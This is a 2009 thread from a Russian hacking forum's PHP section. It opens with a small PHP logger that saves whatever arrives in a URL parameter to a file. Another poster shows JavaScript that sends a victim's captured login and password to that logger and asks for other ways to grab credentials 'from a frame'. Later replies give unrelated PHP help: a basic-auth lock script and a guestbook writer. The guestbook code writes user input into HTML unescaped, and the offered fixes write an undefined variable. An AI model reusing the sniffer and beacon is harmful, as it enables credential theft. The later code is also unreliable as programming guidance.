HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 14.11.2009, 22:40
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию

PHP код:
if(isset($_GET['c']) || !empty($_GET['c'])){
$open fopen('log.txt','a');
fwrite($open,$_GET['c']."\r\n");
fclose($open);
}else{
header("Location: index.php");

 
Ответить с цитированием

  #2  
Старый 15.11.2009, 01:18
xxxBARTONxxx
Познающий
Регистрация: 11.10.2009
Сообщений: 84
С нами: 8727889

Репутация: 0
По умолчанию

странно... не получается, по пробовал на виртуальном сервере, создает файл
log.php c=логин;пароль

что я не так делаю?
 
Ответить с цитированием

  #3  
Старый 15.11.2009, 02:09
qW1zer
Участник форума
Регистрация: 24.08.2009
Сообщений: 145
С нами: 8797036

Репутация: 17
По умолчанию

xxxBARTONxxx
Почему log.php c=логин;пароль
должно быть
log.php?c=логин;пароль
 
Ответить с цитированием

  #4  
Старый 15.11.2009, 02:20
xxxBARTONxxx
Познающий
Регистрация: 11.10.2009
Сообщений: 84
С нами: 8727889

Репутация: 0
По умолчанию

в джава скрипте написано

img = new Image();
img.onload = p();
img.src = "log.php?c= " + login + ';' + pass;

при запуске на виртуальном сервере, ничего не записывает в файл log.txt, методом пользователя "m0Hze", а создает новый файл
log.php c=логин;пароль (именно так, знак вопроса заменяется пробелом)

сори, плохо разбираюсь в этом))
но вроде правильно делаю.

Последний раз редактировалось xxxBARTONxxx; 15.11.2009 в 02:23..
 
Ответить с цитированием

  #5  
Старый 15.11.2009, 02:27
xxxBARTONxxx
Познающий
Регистрация: 11.10.2009
Сообщений: 84
С нами: 8727889

Репутация: 0
По умолчанию

может есть другой способ сохранить логин и пас из фрейма?
 
Ответить с цитированием

  #6  
Старый 15.11.2009, 13:22
Gef3Dx
Новичок
Регистрация: 27.09.2009
Сообщений: 8
С нами: 8748381

Репутация: -5
Wink

Цитата:
Сообщение от xxxBARTONxxx  
может есть другой способ сохранить логин и пас из фрейма?

Есть такой способ!
1. создаешь базу MySQL
2. создаешь в ней таблицу userlist
3. в userlist поля id, user, pass
4. создаешь файл lock.php и встовляешь в него вот такой код:


PHP код:

$db 
mysql_connect ("localhost","имя пользвателя(root)","пароль к нему");
mysql_select_db ("имя базы",$db)
if (!isset(
$_SERVER['PHP_AUTH_USER']))
{
        
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
        
Header ("HTTP/1.0 401 Unauthorized");
        exit();
}
else {
        if (!
get_magic_quotes_gpc()) {
                
$_SERVER['PHP_AUTH_USER'] = mysql_escape_string($_SERVER['PHP_AUTH_USER']);
                
$_SERVER['PHP_AUTH_PW'] = mysql_escape_string($_SERVER['PHP_AUTH_PW']);
        }
        
$query "SELECT pass FROM userlist WHERE user='".$_SERVER['PHP_AUTH_USER']."'";
        
$lst = @mysql_query($query);
        if (!
$lst)
        {
            
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
            
Header ("HTTP/1.0 401 Unauthorized");
            exit();
        }
        if (
mysql_num_rows($lst) == 0)
        {
           
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
           
Header ("HTTP/1.0 401 Unauthorized");
           exit();
        }
        
$pass =  @mysql_fetch_array($lst);
        if (
$_SERVER['PHP_AUTH_PW']!= $pass['pass'])
        {
            
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
            
Header ("HTTP/1.0 401 Unauthorized");
            exit();
        }

5. В файлах которые надо залочить точнее запаролить пишешь в самом верху кода просто:

PHP код:
   include("lock.php"); 

Последний раз редактировалось Gef3Dx; 15.11.2009 в 13:35..
 
Ответить с цитированием

  #7  
Старый 15.11.2009, 14:24
N2kroot
Познающий
Регистрация: 25.10.2009
Сообщений: 54
С нами: 8707616

Репутация: 9
По умолчанию

Помогите пожалуйста:
Вот форма: <INPUT TYPE="text" NAME="mess"><BR>
<INPUT TYPE="submit" value="Отправить"><BR>
Вот запись:
PHP код:
if(isset($_POST['mess'])){ 
$fh fopen("mess.txt","a");  
$today date("H:i:s");    
$m $_POST['mess'];
$m trim($m);    
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT  COLOR='#FF0000'>$ip</FONT>$m<BR>");  
fclose($fh);  

Но всёравно при нажатии submit записывается пустое место,а при обновлении страницы повтряется старый запрос,как исправить?
 
Ответить с цитированием

  #8  
Старый 15.11.2009, 14:38
Gef3Dx
Новичок
Регистрация: 27.09.2009
Сообщений: 8
С нами: 8748381

Репутация: -5
Exclamation

Цитата:
Сообщение от N2kroot  
Помогите пожалуйста:
Вот форма: <INPUT TYPE="text" NAME="mess"><BR>
<INPUT TYPE="submit" value="Отправить"><BR>
Вот запись:
PHP код:
if(isset($_POST['mess'])){ 
$fh fopen("mess.txt","a");  
$today date("H:i:s");    
$m $_POST['mess'];
$m trim($m);    
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT  COLOR='#FF0000'>$ip</FONT>$m<BR>");  
fclose($fh);  

Но всёравно при нажатии submit записывается пустое место,а при обновлении страницы повтряется старый запрос,как исправить?
Форма:
PHP код:
<form name="form1" method="post" action="файл с твоим обрабочиком тобишь твой код (kod.php)">
<
INPUT TYPE="text" NAME="mess"><BR>  
<
INPUT TYPE="submit" value="Отправить"><BR>
</
form
kod.php
PHP код:
if(isset($_POST['mess'])){
$mess $_POST['mess'
} else {
  echo (
"Переменная mess не передона");
}
if (
$mess == '') {
echo (
"Переменная mess пуста");
} else {
$fh fopen("mess.txt","a");  
$today date("H:i:s");    
$mess trim($mess);    
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT  COLOR='#FF0000'>$ip</FONT>$m<BR>");  
fclose($fh);


Последний раз редактировалось Gef3Dx; 15.11.2009 в 14:46..
 
Ответить с цитированием

  #9  
Старый 15.11.2009, 14:43
N2kroot
Познающий
Регистрация: 25.10.2009
Сообщений: 54
С нами: 8707616

Репутация: 9
По умолчанию

Неа, к сожалению на многократное нажатие кнопки отправить выдаёт много пустых сообщений...
Как можно сделать проверку на сообщение,если оно более 1го символа тогда отправить?
 
Ответить с цитированием

  #10  
Старый 15.11.2009, 14:47
Gef3Dx
Новичок
Регистрация: 27.09.2009
Сообщений: 8
С нами: 8748381

Репутация: -5
Exclamation

Цитата:
Сообщение от N2kroot  
Неа, к сожалению на многократное нажатие кнопки отправить выдаёт много пустых сообщений...
Как можно сделать проверку на сообщение,если оно более 1го символа тогда отправить?
PHP код:
if(isset($_POST['mess'])) {
  
$mess $_POST['mess']; 
} else {
    echo (
"Переменная mess не передона");
   exit();
}
if (
$mess == '') {
  echo (
"Переменная mess пуста");
  exit();
}   else {
      
$fh fopen("mess.txt","a");  
      
$today date("H:i:s");    
      
$mess trim($mess);    
      
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT  COLOR='#FF0000'>$ip</FONT>$m<BR>");  
      
fclose($fh);
      } 

Последний раз редактировалось Gef3Dx; 15.11.2009 в 14:53..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.